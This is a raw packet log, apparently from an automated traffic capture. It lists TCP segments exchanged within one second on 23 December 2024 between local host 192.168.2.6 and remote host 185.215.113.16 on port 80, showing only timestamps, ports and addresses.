Dec 23, 2024 09:00:43.223326921 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.223504066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.223560095 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.224328041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.224508047 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.224570990 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.225348949 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.225537062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.225593090 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.226402998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.226543903 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.226619959 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.227534056 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.227581978 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.227741003 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.228465080 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.228631973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.228691101 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.229485989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.229684114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.229737997 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.230561972 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.230746984 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.230802059 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.231570005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.231776953 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.231826067 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.232578993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.232805967 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.232865095 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.233616114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.233855009 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.233901978 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.234649897 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.234798908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.234848022 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.264136076 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.264415026 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.264491081 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.264693975 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.265012026 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.265096903 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.265650988 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.265841007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.265903950 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.266721010 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.266890049 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.266952038 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.267735958 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.267913103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.268146992 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.268764973 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.268948078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.269064903 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.269810915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.269982100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.270037889 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.270854950 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.271030903 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.271142960 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.271895885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.272078037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.272470951 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.272890091 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.273061037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.273111105 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.331974030 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.332154036 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.332253933 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.332501888 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.332834005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.333554029 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.333602905 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.333731890 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.333775997 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.334589005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.334775925 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.334821939 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.335592985 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.335767031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.336627007 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.336684942 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.336785078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.336832047 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.337654114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.337862015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.338537931 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.338675022 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.338857889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.339734077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.339790106 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.339893103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.339937925 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.340759993 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.340930939 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.342613935 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.394022942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.394160986 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.394454002 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.394555092 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.394860983 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.394912004 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.395576954 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.395740032 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.396974087 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.397037983 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.397130013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.397202015 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.397464037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.397864103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.398118019 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.398212910 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.399065971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.399270058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.399339914 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.400118113 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.400166035 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.400243998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.401195049 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.401364088 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.401412010 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.402102947 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.402164936 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.402342081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.403228998 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.403510094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.403574944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.404411077 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.404464960 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.404627085 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.405303001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.405378103 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.405431986 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.406126976 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.406178951 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.406306982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.407136917 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.407399893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.407457113 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.408241034 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.408297062 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.408483982 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.409229994 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.409279108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.409369946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.410299063 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.410433054 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.410438061 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.411375046 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.411514044 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.411561966 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.412313938 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.412503004 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.412554979 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.413295031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.413460016 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.413491011 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.414395094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.414455891 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.414550066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.415378094 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.415421963 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.415580034 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.416403055 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.416568041 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.416613102 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.417467117 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.417521954 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.417619944 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.418493986 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.418628931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.418720961 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.419482946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.419677019 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.419718981 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.420552969 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.420593023 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.420682907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.421562910 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.421758890 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.421804905 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.422605991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.422678947 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.422780991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.423652887 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.423877954 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.423923016 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.424649954 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.424696922 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.424825907 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.425717115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.425863981 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.425913095 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.426703930 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.426872015 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.426924944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.447804928 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.456110001 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.456243992 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.456326008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.456688881 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.456944942 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.457128048 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.457700014 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.457880020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.457902908 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.458722115 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.458897114 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.458990097 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.459742069 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.459945917 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.459992886 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.460763931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.460829973 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.460947037 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.461811066 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.461977005 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.462204933 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.462816000 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.462866068 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.463001013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.463859081 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.463916063 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.464051008 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.464879036 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.465050936 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.465193033 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.524096012 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.524225950 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.524569035 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.524658918 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.524933100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.525027990 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.525767088 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.525955915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.526360035 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.527004957 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.527168036 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.527261019 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.528042078 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.528206110 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.528985977 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.529050112 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.529130936 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.529191017 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.529932976 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.530066013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.530781031 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.530860901 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.531004906 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.531135082 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.531817913 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.532005072 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.532857895 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.532926083 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.533021927 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.533090115 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.585968971 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.586081028 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.586163044 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.586441040 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.586750984 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.587114096 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.587444067 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.587615013 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.588466883 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.588512897 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.588874102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.588922977 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.589070082 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.589862108 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.590035915 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.590090036 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.590862989 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.591057062 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.591105938 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.591897964 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.592073917 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.592150927 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.592899084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.592979908 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.593066931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.593992949 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.594142914 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.594239950 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.595004082 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.595110893 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.595220089 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.596052885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.596190929 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.596261024 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.597266912 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.597343922 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.597402096 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.598072052 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.598227024 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.598359108 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.599113941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.599308968 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.599375010 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.600128889 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.600243092 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.600316048 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.601178885 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.601341963 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.601383924 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.602220058 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.602317095 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.602379084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.603245020 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.603399038 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.603513956 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.604266882 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.604454994 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.604461908 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.605319023 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.605523109 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.605582952 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.606308937 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.606492043 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.606501102 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.607356071 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.607541084 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.607672930 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.608412981 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.608473063 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.608606100 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.609499931 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.609622002 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.609678030 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.610508919 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.610569000 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.610676050 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.611507893 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.611685991 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.611754894 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.612561941 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.612633944 CET	49794	80	192.168.2.6	185.215.113.16
Dec 23, 2024 09:00:43.612705946 CET	80	49794	185.215.113.16	192.168.2.6
Dec 23, 2024 09:00:43.613558054 CET	80	49794	185.215.113.16	192.168.2.6
